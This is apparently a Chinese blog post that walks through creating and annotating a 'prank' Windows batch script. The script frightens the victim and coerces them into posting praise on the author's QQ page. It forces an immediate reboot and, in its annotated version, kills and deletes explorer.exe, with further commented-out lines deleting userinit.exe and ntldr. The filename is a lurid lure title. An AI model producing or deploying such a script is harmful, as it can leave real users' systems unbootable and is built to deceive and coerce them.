1. 程式人生 > >惡作劇批處理(bat)程式碼解析

惡作劇批處理(bat)程式碼解析

無關的話:

 翻找資料時,發現了自己小時候儲存到網盤裡的一個惡作劇程式。碰巧最近剛看完shell命令,正好對該程式進行註釋

什麼是bat檔案:

 bat檔案是dos下的批處理檔案。批處理檔案是無格式的文字檔案,它包含一條或多條命令。它的副檔名為 .bat 或 .cmd。在命令提示下輸入批處理檔案的名稱,或者雙擊該批處理檔案,系統就會呼叫cmd.exe按照該檔案中各個命令出現的順序來逐個執行它們。使用批處理檔案(也被稱為批處理程式或指令碼),可以簡化日常或重複性任務。

其實就是一堆dos命令,類似於linux的shell

步驟:

  1. 新建一個文字檔案
  2. 用記事本開啟輸入以下程式碼
  3. 程式碼(關於修改系統檔案的命令已經被註釋),儲存更改副檔名為.bat
@echo off  
color 00
echo ping www.baidu.com > d:\小小木馬.exe


::下面的幾行程式碼要殺死explorer.exe程序並刪除,刪除explorer.exe檔案不容恢復,所以被我註釋掉了
::taskkill /f /im explorer.exe
::taskkill /f /im qq.exe
::ren %SystemRoot%\explorer.exe killer.dll
::del /f /s /q %SystemRoot%\explorer.exe


cls
echo.
echo 哈哈哈!好開心吶!又有人中招了。
echo.
echo 不過別擔心,我可不是壞人,嘿嘿!O(∩_∩)O
echo.
echo 這個介面還挺溫馨的吧?好歹我也會考慮下中標者的心理對吧?
echo.
echo 別把我的視窗關掉,也別關機,信不信由你(警告)。
echo.
echo 下面給你一個選擇,請慎重。

echo.
set /p AA=請鍵入Y(相信我)或者N(不相信)後按回車(y/n):
if /i "%AA%"=="y" goto hui
if /i "%AA%"=="n" goto no
cls
echo 你放棄了選擇或者鍵入錯誤!
pause

:no


::下面要刪除killer.dll和userinit.exe也被我註釋掉了
::del %SystemRoot%\killer.dll
::del /f /s /q %SystemRoot%\system32\userinit.exe


cls
echo 既然你不相信我,那我也沒什好說的了。
echo.
echo 別以為我只會幹壞事,如果你相信我,那麼一切都會沒事的。
echo.
echo 下一步,請按任意鍵重啟吧!唉╮(╯▽╰)╭
pause
echo @echo off >a.bat
echo del d:\小小木馬.exe >>a.bat
echo del a.txt >>a.bat
echo del 90後男生的齷齪事太震撼了.bat >>a.bat
echo exit >>a.bat
shutdown -r -t 00
start a.bat
exit

:hui
cls
echo 哈哈,謝謝你相信我,你的選擇是正確的。
echo.
echo 不過,你必須得按照我的提示完成以下步驟才行。
echo.
echo 等你完成了我的要求,我自然會把你的系統給恢復了。
echo.
echo 我善解人意吧?
echo.
echo 你要記住,在沒有完全結束程式之前,你必須對我是友善的。
echo.
echo 不難吧?呵呵O(∩_∩)O
pause
echo %date% >a.txt & echo %time% >>a.txt
echo 哈哈,小樣,中招了吧? >>a.txt
echo 不過你別擔心,我不會對你怎麼樣,最主要的是你現在得聽我的! >>a.txt
echo 聽懂了嗎?呵呵。我正在監視你的電腦,所以別亂動。 >>a.txt
echo 登陸你的QQ,然後點選查詢,輸入我的QQ號:******. >>a.txt
echo 點選檢視資料,然後點選我的空間,然後在我的留言板留10次"你好帥” >>a.txt
echo 我是不會盜你的QQ號的。因為這沒意思,我玩的是好玩的遊戲。 >>a.txt
echo 現在可以關掉這記事本了。O(∩_∩)O >>a.txt
::for %%i in (c,d,e,f) do for /f "delims=" %%n in ('dir /s /b %%i:\qq.exe') do start "" "%%n"
start a.txt
cls
echo 登陸你的QQ並且留言後執行下一步。
pause
cls
echo 呵呵,遊戲到此也快結束了,放心,待會兒你的系統就會恢復了。
echo.
echo 但是!我還想在玩一個選擇遊戲,如果你正確的通關了,我就把你的系統恢復了,嘿!
echo.
echo 下面,請你做一個最關鍵的選擇,記住,要慎重。
echo.
echo.
:no1
set /p BB=請鍵入Y(你好帥)或者N(你一點都不帥)後按回車(y/n):
if /i "%BB%"=="y" goto no3
if /i "%BB%"=="n" goto no2
cls
echo 你放棄了選擇或者鍵入錯誤!
pause
goto no1
:no2

::del %SystemRoot%\killer.dll
::del /f /s /q %SystemRoot%\system32\userinit.exe
::attrib -r -s -h %SystemDrive%\ntldr % del %SystemDrive%\ntldr

cls
echo 我操,我靠,難道我不帥嗎?你怎麼知道我不帥了啊?
echo.
echo 能把這小東西做到這樣難道我不帥嗎?你知道這樣會讓你的系統崩潰嗎?
echo.
echo 我都說了要你慎重選擇的,可是你偏偏選錯了,沒辦法。╮(╯▽╰)╭唉
echo.
echo 下一步,請按任意鍵重啟吧!唉╮(╯▽╰)╭
pause
echo @echo off >a.bat
echo del d:\小小木馬.exe >>a.bat
echo del a.txt >>a.bat
echo del 90後男生的齷齪事太震撼了.bat >>a.bat
echo exit >>a.bat
shutdown -r -t 00
start a.bat
exit
:no3
cls
echo.
echo 哈哈,謝謝你,我知道我挺帥的,不過還是想滿足下自己的虛榮心。嘿嘿
echo.
echo 我真帥!O(∩_∩)O哈哈,滋滋,帥到掉渣吧?
echo.
echo 下一步,按任意鍵恢復你的系統吧。
echo.
echo.
echo.
pause

::ren %SystemRoot%\killer.dll explorer.exe & start %SystemRoot%\explorer.exe
::del %SystemRoot%\killer.dll

cls
echo 桌面出來了吧?哈哈,恭喜你過關。
echo.
echo 不過你別急著關了我這個程式,為什麼呢?
echo.
echo 因為.............
echo.
echo 你看看你的D盤底下是不是多了樣東西呢?
echo.
echo 想知道是什麼嗎?按任意鍵你就知道了。
echo.
pause
echo @echo off >a.bat
echo del d:\小小木馬.exe >>a.bat
echo del a.txt >>a.bat
echo del 90後男生的齷齪事太震撼了.bat >>a.bat
echo exit >>a.bat
start a.bat

註釋(//之後的是註釋):

@echo off       //不顯示命令
color 00        //命令框的顏色
echo ping www.baidu.com > d:\小小木馬.exe     //ping百度把結果存放到 d:\小小木馬.exe 
taskkill /f /im explorer.exe         //殺死explorer.exe程序 
                                       // explorer.exe程序用來顯示系統的桌面環境
                                        
taskkill /f /im qq.exe                //殺死qq.exe程序
ren %SystemRoot%\explorer.exe killer.dll          //把explorer.exe重新命名為kille.dll
del /f /s /q %SystemRoot%\explorer.exe            //刪除explorer.exe
cls

echo.     //輸出
echo 哈哈哈!好開心吶!又有人中招了。
echo.
echo 不過別擔心,我可不是壞人,嘿嘿!O(∩_∩)O
echo.
echo 這個介面還挺溫馨的吧?好歹我也會考慮下中標者的心理對吧?
echo.
echo 別把我的視窗關掉,也別關機,信不信由你(警告)。
echo.
echo 下面給你一個選擇,請慎重。

:shi
echo.
set /p AA=請鍵入Y(相信我)或者N(不相信)後按回車(y/n):
if /i "%AA%"=="y" goto hui   //輸入y跳轉到hui相關程式碼
if /i "%AA%"=="n" goto no    //輸入n跳轉到no
cls
echo 你放棄了選擇或者鍵入錯誤!
pause
goto shi            //輸入錯誤會重複執行 shi
:no

cls        //清屏
echo 既然你不相信我,那我也沒什好說的了。
echo.
echo 別以為我只會幹壞事,如果你相信我,那麼一切都會沒事的。
echo.
echo 下一步,請按任意鍵重啟吧!唉╮(╯▽╰)╭
pause
shutdown -r -t 00   //關機
exit          //退出

:hui
cls            //清屏
echo 哈哈,謝謝你相信我,你的選擇是正確的。
echo.
echo 不過,你必須得按照我的提示完成以下步驟才行。
echo.
echo 等你完成了我的要求,我自然會把你的系統給恢復了。
echo.
echo 我善解人意吧?
echo.
echo 你要記住,在沒有完全結束程式之前,你必須對我是友善的。
echo.
echo 不難吧?呵呵O(∩_∩)O
pause


//把下面內容存入a.txt中
echo %date% >a.txt & echo %time% >>a.txt
echo 哈哈,小樣,中招了吧? >>a.txt
echo 不過你別擔心,我不會對你怎麼樣,最主要的是你現在得聽我的! >>a.txt
echo 聽懂了嗎?呵呵。我正在監視你的電腦,所以別亂動。 >>a.txt
echo 登陸你的QQ,然後點選查詢,輸入我的QQ號:*****. >>a.txt
echo 點選檢視資料,然後點選我的空間,然後在我的留言板留10次“你好帥” >>a.txt
echo 我是不會盜你的QQ號的。因為這沒意思,我玩的是好玩的遊戲。 >>a.txt
echo 現在可以關掉這記事本了。O(∩_∩)O >>a.txt

//在本地查詢qq的路徑 並執行
for %%i in (c,d,e,f) do for /f "delims=" %%n in ('dir /s /b %%i:\qq.exe') do start "" "%%n"
start a.txt        //開啟a.txt
cls
echo 登陸你的QQ並且留言後執行下一步。
pause
cls
echo 呵呵,遊戲到此也快結束了,放心,待會兒你的系統就會恢復了。
echo.
echo 但是!我還想在玩一個選擇遊戲,如果你正確的通關了,我就把你的系統恢復了,嘿!
echo.
echo 下面,請你做一個最關鍵的選擇,記住,要慎重。
echo.
echo.

:no1
set /p BB=請鍵入Y(你好帥)或者N(你一點都不帥)後按回車(y/n):
if /i "%BB%"=="y" goto no3            //輸入y跳轉到no3
if /i "%BB%"=="n" goto no2            //輸入n跳轉到no2
cls
echo 你放棄了選擇或者鍵入錯誤!
pause
goto no1                //輸入其他跳轉no1


:no2
cls
echo 我操,我靠,難道我不帥嗎?你怎麼知道我不帥了啊?
echo.
echo 能把這小東西做到這樣難道我不帥嗎?你知道這樣會讓你的系統崩潰嗎?
echo.
echo 我都說了要你慎重選擇的,可是你偏偏選錯了,沒辦法。╮(╯▽╰)╭唉
echo.
echo 下一步,請按任意鍵重啟吧!唉╮(╯▽╰)╭
pause
echo @echo off >a.bat
echo del d:\小小木馬.exe >>a.bat
echo del a.txt >>a.bat
echo del 90後男生的齷齪事太震撼了.bat >>a.bat
echo exit >>a.bat
start a.bat
shutdown -r -t 00            //關機

exit


:no3
cls
echo.
echo 哈哈,謝謝你,我知道我挺帥的,不過還是想滿足下自己的虛榮心。嘿嘿
echo.
echo 我真帥!O(∩_∩)O哈哈,滋滋,帥到掉渣吧?
echo.
echo 下一步,按任意鍵恢復你的系統吧。
echo.
echo.
echo.
pause

//把killer.dll重新命名成explorer  
ren %SystemRoot%\killer.dll explorer.exe & start %SystemRoot%\explorer.exe
del %SystemRoot%\killer.dll            //刪除killer.dll

cls
echo 桌面出來了吧?哈哈,恭喜你過關。
echo.
echo 不過你別急著關了我這個程式,為什麼呢?
echo.
echo 因為.............
echo.
echo 你看看你的D盤底下是不是多了樣東西呢?
echo.
echo 想知道是什麼嗎?按任意鍵你就知道了。
echo.
pause
exit